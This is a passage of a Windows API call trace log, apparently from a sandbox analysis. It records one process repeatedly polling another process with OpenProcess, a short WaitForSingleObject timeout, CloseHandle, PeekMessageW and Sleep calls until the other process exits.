wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0293.098] Sleep (dwMilliseconds=0x1) [0293.109] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2994 [0293.109] WaitForSingleObject (hHandle=0x2994, dwMilliseconds=0xa) returned 0x102 [0293.122] CloseHandle (hObject=0x2994) returned 1 [0293.122] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0293.122] Sleep (dwMilliseconds=0x1) [0293.138] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2994 [0293.138] WaitForSingleObject (hHandle=0x2994, dwMilliseconds=0xa) returned 0x102 [0293.154] CloseHandle (hObject=0x2994) returned 1 [0293.154] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0293.154] Sleep (dwMilliseconds=0x1) [0293.169] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2994 [0293.169] WaitForSingleObject (hHandle=0x2994, dwMilliseconds=0xa) returned 0x102 [0293.185] CloseHandle (hObject=0x2994) returned 1 [0293.186] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0293.186] Sleep (dwMilliseconds=0x1) [0293.201] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x29e0 [0293.201] WaitForSingleObject (hHandle=0x29e0, dwMilliseconds=0xa) returned 0x102 [0293.216] CloseHandle (hObject=0x29e0) returned 1 [0293.216] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0293.216] Sleep (dwMilliseconds=0x1) [0293.235] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2a34 [0293.235] WaitForSingleObject (hHandle=0x2a34, dwMilliseconds=0xa) returned 0x102 [0293.247] CloseHandle (hObject=0x2a34) returned 1 [0293.247] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0293.247] Sleep (dwMilliseconds=0x1) [0293.263] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2a34 [0293.263] WaitForSingleObject (hHandle=0x2a34, dwMilliseconds=0xa) returned 0x102 [0293.278] CloseHandle (hObject=0x2a34) returned 1 [0293.279] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0293.279] Sleep (dwMilliseconds=0x1) [0293.294] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2a34 [0293.294] WaitForSingleObject (hHandle=0x2a34, dwMilliseconds=0xa) returned 0x102 [0293.311] CloseHandle (hObject=0x2a34) returned 1 [0293.311] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0293.311] Sleep (dwMilliseconds=0x1) [0293.325] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2a34 [0293.326] WaitForSingleObject (hHandle=0x2a34, dwMilliseconds=0xa) returned 0x102 [0293.341] CloseHandle (hObject=0x2a34) returned 1 [0293.341] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0293.341] Sleep (dwMilliseconds=0x1) [0293.358] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2a34 [0293.358] WaitForSingleObject (hHandle=0x2a34, dwMilliseconds=0xa) returned 0x102 [0293.372] CloseHandle (hObject=0x2a34) returned 1 [0293.372] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0293.372] Sleep (dwMilliseconds=0x1) [0293.388] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2a34 [0293.388] WaitForSingleObject (hHandle=0x2a34, dwMilliseconds=0xa) returned 0x102 [0293.404] CloseHandle (hObject=0x2a34) returned 1 [0293.404] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0293.404] Sleep (dwMilliseconds=0x1) [0293.419] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2a4c [0293.419] WaitForSingleObject (hHandle=0x2a4c, dwMilliseconds=0xa) returned 0x102 [0293.435] CloseHandle (hObject=0x2a4c) returned 1 [0293.435] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0293.435] Sleep (dwMilliseconds=0x1) [0293.451] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2a4c [0293.451] WaitForSingleObject (hHandle=0x2a4c, dwMilliseconds=0xa) returned 0x102 [0293.467] CloseHandle (hObject=0x2a4c) returned 1 [0293.467] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0293.467] Sleep (dwMilliseconds=0x1) [0293.483] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2a94 [0293.483] WaitForSingleObject (hHandle=0x2a94, dwMilliseconds=0xa) returned 0x102 [0293.498] CloseHandle (hObject=0x2a94) returned 1 [0293.498] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0293.498] Sleep (dwMilliseconds=0x1) [0293.514] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2ad4 [0293.514] WaitForSingleObject (hHandle=0x2ad4, dwMilliseconds=0xa) returned 0x102 [0293.533] CloseHandle (hObject=0x2ad4) returned 1 [0293.533] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0293.533] Sleep (dwMilliseconds=0x1) [0293.545] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2b04 [0293.545] WaitForSingleObject (hHandle=0x2b04, dwMilliseconds=0xa) returned 0x102 [0293.564] CloseHandle (hObject=0x2b04) returned 1 [0293.564] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0293.564] Sleep (dwMilliseconds=0x1) [0293.575] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2b0c [0293.575] WaitForSingleObject (hHandle=0x2b0c, dwMilliseconds=0xa) returned 0x102 [0293.591] CloseHandle (hObject=0x2b0c) returned 1 [0293.591] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0293.591] Sleep (dwMilliseconds=0x1) [0293.607] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2b0c [0293.607] WaitForSingleObject (hHandle=0x2b0c, dwMilliseconds=0xa) returned 0x102 [0293.622] CloseHandle (hObject=0x2b0c) returned 1 [0293.622] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0293.622] Sleep (dwMilliseconds=0x1) [0293.638] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2b0c [0293.638] WaitForSingleObject (hHandle=0x2b0c, dwMilliseconds=0xa) returned 0x102 [0293.654] CloseHandle (hObject=0x2b0c) returned 1 [0293.654] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0293.654] Sleep (dwMilliseconds=0x1) [0293.671] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2b40 [0293.671] WaitForSingleObject (hHandle=0x2b40, dwMilliseconds=0xa) returned 0x102 [0293.685] CloseHandle (hObject=0x2b40) returned 1 [0293.685] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0293.685] Sleep (dwMilliseconds=0x1) [0293.700] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2b50 [0293.700] WaitForSingleObject (hHandle=0x2b50, dwMilliseconds=0xa) returned 0x102 [0293.716] CloseHandle (hObject=0x2b50) returned 1 [0293.716] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0293.716] Sleep (dwMilliseconds=0x1) [0293.732] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2b50 [0293.732] WaitForSingleObject (hHandle=0x2b50, dwMilliseconds=0xa) returned 0x102 [0293.749] CloseHandle (hObject=0x2b50) returned 1 [0293.749] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0293.749] Sleep (dwMilliseconds=0x1) [0293.777] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2b7c [0293.777] WaitForSingleObject (hHandle=0x2b7c, dwMilliseconds=0xa) returned 0x102 [0293.779] CloseHandle (hObject=0x2b7c) returned 1 [0293.779] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0293.779] Sleep (dwMilliseconds=0x1) [0293.796] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2bb4 [0293.796] WaitForSingleObject (hHandle=0x2bb4, dwMilliseconds=0xa) returned 0x102 [0293.814] CloseHandle (hObject=0x2bb4) returned 1 [0293.814] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0293.814] Sleep (dwMilliseconds=0x1) [0293.826] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2c04 [0293.826] WaitForSingleObject (hHandle=0x2c04, dwMilliseconds=0xa) returned 0x102 [0293.841] CloseHandle (hObject=0x2c04) returned 1 [0293.841] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0293.841] Sleep (dwMilliseconds=0x1) [0293.857] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2c04 [0293.857] WaitForSingleObject (hHandle=0x2c04, dwMilliseconds=0xa) returned 0x102 [0293.872] CloseHandle (hObject=0x2c04) returned 1 [0293.872] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0293.872] Sleep (dwMilliseconds=0x1) [0293.888] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2c18 [0293.888] WaitForSingleObject (hHandle=0x2c18, dwMilliseconds=0xa) returned 0x102 [0293.903] CloseHandle (hObject=0x2c18) returned 1 [0293.904] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0293.904] Sleep (dwMilliseconds=0x1) [0293.919] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2c18 [0293.919] WaitForSingleObject (hHandle=0x2c18, dwMilliseconds=0xa) returned 0x102 [0293.935] CloseHandle (hObject=0x2c18) returned 1 [0293.935] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0293.935] Sleep (dwMilliseconds=0x1) [0293.950] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2c18 [0293.950] WaitForSingleObject (hHandle=0x2c18, dwMilliseconds=0xa) returned 0x102 [0293.969] CloseHandle (hObject=0x2c18) returned 1 [0293.969] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0293.969] Sleep (dwMilliseconds=0x1) [0293.983] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2c40 [0293.983] WaitForSingleObject (hHandle=0x2c40, dwMilliseconds=0xa) returned 0x102 [0294.002] CloseHandle (hObject=0x2c40) returned 1 [0294.002] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0294.002] Sleep (dwMilliseconds=0x1) [0294.014] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2c80 [0294.014] WaitForSingleObject (hHandle=0x2c80, dwMilliseconds=0xa) returned 0x102 [0294.031] CloseHandle (hObject=0x2c80) returned 1 [0294.031] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0294.031] Sleep (dwMilliseconds=0x1) [0294.044] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2cb8 [0294.044] WaitForSingleObject (hHandle=0x2cb8, dwMilliseconds=0xa) returned 0x102 [0294.060] CloseHandle (hObject=0x2cb8) returned 1 [0294.060] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0294.060] Sleep (dwMilliseconds=0x1) [0294.076] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2cb8 [0294.076] WaitForSingleObject (hHandle=0x2cb8, dwMilliseconds=0xa) returned 0x102 [0294.091] CloseHandle (hObject=0x2cb8) returned 1 [0294.091] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0294.091] Sleep (dwMilliseconds=0x1) [0294.107] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2cd4 [0294.107] WaitForSingleObject (hHandle=0x2cd4, dwMilliseconds=0xa) returned 0x102 [0294.122] CloseHandle (hObject=0x2cd4) returned 1 [0294.122] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0294.122] Sleep (dwMilliseconds=0x1) [0294.143] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2cd8 [0294.143] WaitForSingleObject (hHandle=0x2cd8, dwMilliseconds=0xa) returned 0x102 [0294.154] CloseHandle (hObject=0x2cd8) returned 1 [0294.154] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0294.154] Sleep (dwMilliseconds=0x1) [0294.170] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2d18 [0294.170] WaitForSingleObject (hHandle=0x2d18, dwMilliseconds=0xa) returned 0x102 [0294.186] CloseHandle (hObject=0x2d18) returned 1 [0294.186] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0294.186] Sleep (dwMilliseconds=0x1) [0294.204] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2d74 [0294.204] WaitForSingleObject (hHandle=0x2d74, dwMilliseconds=0xa) returned 0x102 [0294.216] CloseHandle (hObject=0x2d74) returned 1 [0294.216] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0294.216] Sleep (dwMilliseconds=0x1) [0294.232] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2d80 [0294.232] WaitForSingleObject (hHandle=0x2d80, dwMilliseconds=0xa) returned 0x102 [0294.247] CloseHandle (hObject=0x2d80) returned 1 [0294.247] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0294.247] Sleep (dwMilliseconds=0x1) [0294.263] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2d80 [0294.263] WaitForSingleObject (hHandle=0x2d80, dwMilliseconds=0xa) returned 0x102 [0294.280] CloseHandle (hObject=0x2d80) returned 1 [0294.280] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0294.280] Sleep (dwMilliseconds=0x1) [0294.296] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2dc0 [0294.296] WaitForSingleObject (hHandle=0x2dc0, dwMilliseconds=0xa) returned 0x102 [0294.312] CloseHandle (hObject=0x2dc0) returned 1 [0294.312] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0294.312] Sleep (dwMilliseconds=0x1) [0294.325] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2e10 [0294.325] WaitForSingleObject (hHandle=0x2e10, dwMilliseconds=0xa) returned 0x102 [0294.341] CloseHandle (hObject=0x2e10) returned 1 [0294.341] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0294.341] Sleep (dwMilliseconds=0x1) [0294.357] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2e10 [0294.357] WaitForSingleObject (hHandle=0x2e10, dwMilliseconds=0xa) returned 0x102 [0294.372] CloseHandle (hObject=0x2e10) returned 1 [0294.372] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0294.372] Sleep (dwMilliseconds=0x1) [0294.388] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2e10 [0294.388] WaitForSingleObject (hHandle=0x2e10, dwMilliseconds=0xa) returned 0x102 [0294.403] CloseHandle (hObject=0x2e10) returned 1 [0294.403] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0294.403] Sleep (dwMilliseconds=0x1) [0294.419] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2e10 [0294.419] WaitForSingleObject (hHandle=0x2e10, dwMilliseconds=0xa) returned 0x102 [0294.435] CloseHandle (hObject=0x2e10) returned 1 [0294.435] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0294.435] Sleep (dwMilliseconds=0x1) [0294.452] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2e3c [0294.452] WaitForSingleObject (hHandle=0x2e3c, dwMilliseconds=0xa) returned 0x102 [0294.466] CloseHandle (hObject=0x2e3c) returned 1 [0294.466] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0294.466] Sleep (dwMilliseconds=0x1) [0294.483] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2e88 [0294.483] WaitForSingleObject (hHandle=0x2e88, dwMilliseconds=0xa) returned 0x102 [0294.498] CloseHandle (hObject=0x2e88) returned 1 [0294.498] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0294.498] Sleep (dwMilliseconds=0x1) [0294.514] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2e88 [0294.514] WaitForSingleObject (hHandle=0x2e88, dwMilliseconds=0xa) returned 0x102 [0294.528] CloseHandle (hObject=0x2e88) returned 1 [0294.528] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0294.528] Sleep (dwMilliseconds=0x1) [0294.545] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2e88 [0294.545] WaitForSingleObject (hHandle=0x2e88, dwMilliseconds=0xa) returned 0x102 [0294.555] CloseHandle (hObject=0x2e88) returned 1 [0294.555] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0294.555] Sleep (dwMilliseconds=0x1) [0294.556] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2e88 [0294.557] WaitForSingleObject (hHandle=0x2e88, dwMilliseconds=0xa) returned 0x102 [0294.567] CloseHandle (hObject=0x2e88) returned 1 [0294.567] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0294.567] Sleep (dwMilliseconds=0x1) [0294.568] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2e88 [0294.568] WaitForSingleObject (hHandle=0x2e88, dwMilliseconds=0xa) returned 0x102 [0294.579] CloseHandle (hObject=0x2e88) returned 1 [0294.579] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0294.579] Sleep (dwMilliseconds=0x1) [0294.580] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2e88 [0294.580] WaitForSingleObject (hHandle=0x2e88, dwMilliseconds=0xa) returned 0x102 [0294.603] CloseHandle (hObject=0x2e88) returned 1 [0294.604] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0294.604] Sleep (dwMilliseconds=0x1) [0294.618] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2ec4 [0294.618] WaitForSingleObject (hHandle=0x2ec4, dwMilliseconds=0xa) returned 0x102 [0294.633] CloseHandle (hObject=0x2ec4) returned 1 [0294.633] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0294.633] Sleep (dwMilliseconds=0x1) [0294.649] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2ed4 [0294.649] WaitForSingleObject (hHandle=0x2ed4, dwMilliseconds=0xa) returned 0x102 [0294.664] CloseHandle (hObject=0x2ed4) returned 1 [0294.664] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0294.665] Sleep (dwMilliseconds=0x1) [0294.683] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2ef4 [0294.683] WaitForSingleObject (hHandle=0x2ef4, dwMilliseconds=0xa) returned 0x102 [0294.696] CloseHandle (hObject=0x2ef4) returned 1 [0294.696] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0294.696] Sleep (dwMilliseconds=0x1) [0294.718] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2f44 [0294.718] WaitForSingleObject (hHandle=0x2f44, dwMilliseconds=0xa) returned 0x102 [0294.729] CloseHandle (hObject=0x2f44) returned 1 [0294.729] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0294.729] Sleep (dwMilliseconds=0x1) [0294.743] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2f64 [0294.743] WaitForSingleObject (hHandle=0x2f64, dwMilliseconds=0xa) returned 0x102 [0294.758] CloseHandle (hObject=0x2f64) returned 1 [0294.758] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0294.758] Sleep (dwMilliseconds=0x1) [0294.774] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2f64 [0294.774] WaitForSingleObject (hHandle=0x2f64, dwMilliseconds=0xa) returned 0x102 [0294.797] CloseHandle (hObject=0x2f64) returned 1 [0294.797] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0294.797] Sleep (dwMilliseconds=0x1) [0294.805] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2f7c [0294.805] WaitForSingleObject (hHandle=0x2f7c, dwMilliseconds=0xa) returned 0x102 [0294.821] CloseHandle (hObject=0x2f7c) returned 1 [0294.821] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0294.821] Sleep (dwMilliseconds=0x1) [0294.836] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2f7c [0294.836] WaitForSingleObject (hHandle=0x2f7c, dwMilliseconds=0xa) returned 0x102 [0294.853] CloseHandle 